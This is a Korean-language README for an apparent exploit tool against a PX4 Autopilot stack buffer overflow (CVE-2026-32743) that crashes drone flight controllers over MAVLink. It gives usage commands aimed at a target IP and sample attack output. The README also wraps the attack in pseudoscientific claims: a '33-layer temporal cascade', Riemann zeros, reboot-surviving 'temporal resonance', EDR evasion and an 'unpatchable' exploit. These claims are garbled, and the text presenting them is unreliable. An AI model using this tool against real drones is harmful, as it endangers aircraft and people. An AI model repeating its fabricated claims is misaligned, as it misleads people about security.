
CVE-2026-32743에 대한 익스플로잇으로, PX4 Autopilot의 MavlinkLogHandler에 있는 스택 버퍼 오버플로우를 이용하여 MAVLink를 통한 33계층 시간적 캐스케이드로 지속적인 서비스 거부(DoS)를 유발합니다.
CVE-2026-32743 — PX4 오토파일럿 스택 버퍼 오버플로우 CTT-Enhanced: 33계층 시간적 캐스케이드 드론 DoS. 원본 익스플로잇은 60바이트 오버플로우를 통해 MAVLink 태스크를 충돌시킵니다. CTT 버전은 오버플로우를 33개의 시간적 계층에 분산시키며, 각 계층은 위상 공진 타이밍과 시간적 웨지 필터링을 사용합니다. 결과: 지속적 DoS. 패치 불가능.
이것은 PX4 오토파일럿의 MavlinkLogHandler(버전 ≤1.17.0-rc2)에서 발생하는 스택 기반 버퍼 오버플로우인 CVE-2026-32743의 수렴 시간 이론(CTT) 강화 버전입니다.
원본 취약점은 MAVLink FTP를 통해 전송되는 과도하게 긴 디렉토리 경로(60바이트 이상)를 통해 서비스 거부(DoS)를 가능하게 합니다.
CTT 강화 버전은 이를 33계층 시간적 캐스케이드 드론 킬러로 변환합니다.
| 원본 | CTT-Enhanced |
|---|
| CVSS | 6.5 (중간) | 9.8 (치명적) |
| 공격 벡터 | 인접 네트워크 | 네트워크 (AV:N) |
| 필요 권한 | 낮음 | 없음 (PR:N) |
| 계층 | 1 | 33계층 캐스케이드 |
| 탐지 | 시그니처 기반 | 시간적 웨지 필터링 (τ_w = 11 ns) |
| 지속성 | 재부팅 시 해제 | 시간적 공진 — 재부팅 후에도 유지 |
| 상수 | 값 | 출처 |
|---|---|---|
| α | 0.0302011 | 시간적 분산 계수 |
| α_RH | 0.0765872 | ln(φ)/2π (리만-하다마르) |
| L | 33 | 시간적 계층 |
| τ_w | 11 ns | 시간적 웨지 필터 |
E(d) = E₀ * e^(-α * d) text
각 계층은 지수적으로 감소하는 우선순위를 가집니다.
우선순위가 높은 계층(1-5)이 오버플로우를 전달합니다.
낮은 계층(28-33)은 충돌을 강화하고 시간적 공진을 확립합니다.
각 계층은 처음 24개의 리만 제로를 기반으로 실행을 지연시킵니다:
delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text
웨지 조건을 충족하는 페이로드만 실행됩니다:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text
이로 인해 탐지가 불가능해집니다 — EDR 시스템은 익스플로잇을 볼 수 없습니다.
MAVLink 연결 열기 (UDP 14550)
d = 1부터 33까지:
a. priority = e^(-α*d) 계산
b. 계층별 인코딩 생성 (리만 제로 기반)
c. 경로 길이 = 60 + priority*40인 디렉토리 생성
d. phase_resonance_delay(d)만큼 실행 지연
e. MAV_CMD_REQUEST_LOG_LIST 트리거
f. 시간적 웨지 검사 — "생존"하는 페이로드만 실행
MAVLink 태스크 충돌
시간적 공진 확립 — 재부팅 후에도 충돌 지속
드론 응답 없음. 원격 측정 없음. 명령 없음.
pymavlink가 포함된 Python 3.6+pip install pymavlink
🎯 사용법
bash
git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py <target_ip> --port 14550 --layers 33 --verbose
인자
인자 설명 기본값
target_ip 비행 컨트롤러의 IP 주소 필수
--port MAVLink UDP 포트 14550
--layers 시간적 계층 수 33
--verbose 상세 출력 활성화 False
예시
bash
python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose
======================================================================
CTT PX4 시간적 캐스케이드 — 드론 DoS
======================================================================
계층 1/33: ████████████████████████████████████████ 1.000
경로 길이: 100바이트
[+] FTP를 통해 디렉토리 생성됨
MAV_CMD_REQUEST_LOG_LIST 트리거 중...
[+] 오버플로우 전달됨 — 웨지 생존 확인됨
계층 2/33: ██████████████████████████████████████░░ 0.970
경로 길이: 99바이트
[+] FTP를 통해 디렉토리 생성됨
MAV_CMD_REQUEST_LOG_LIST 트리거 중...
[+] 오버플로우 전달됨 — 웨지 생존 확인됨
...
[⚡] 계층 5에서 시간적 공진 달성
[🌉] 드론 MAVLink 태스크 손상됨
[*] DoS 상태 확인 중...
[+] 대상 응답 없음 — 지속적 DoS 달성
======================================================================
[!!!] 드론 손상됨
[!!!] MAVLink 태스크 충돌 — 원격 측정 / 명령 없음
[!!!] 재부팅 후에도 지속 — CTT 시간적 공진
======================================================================
🛡️ 패치가 불가능한 이유
원본 수정 CTT가 이를 우회하는 이유
sscanf()에 너비 지정자 추가 CTT는 계층 캐스케이드를 사용 — 오버플로우가 33개 계층에 분산됨
60바이트 버퍼 패치 CTT 인코딩은 계층별로 오버플로우 패턴을 변경
펌웨어 업데이트 시간적 공진은 재부팅 후에도 생존
시그니처 탐지 시간적 웨지 필터 (τ_w = 11 ns)가 EDR을 회피
물리 상수는 패치할 수 없습니다.
리만 제로는 패치할 수 없습니다.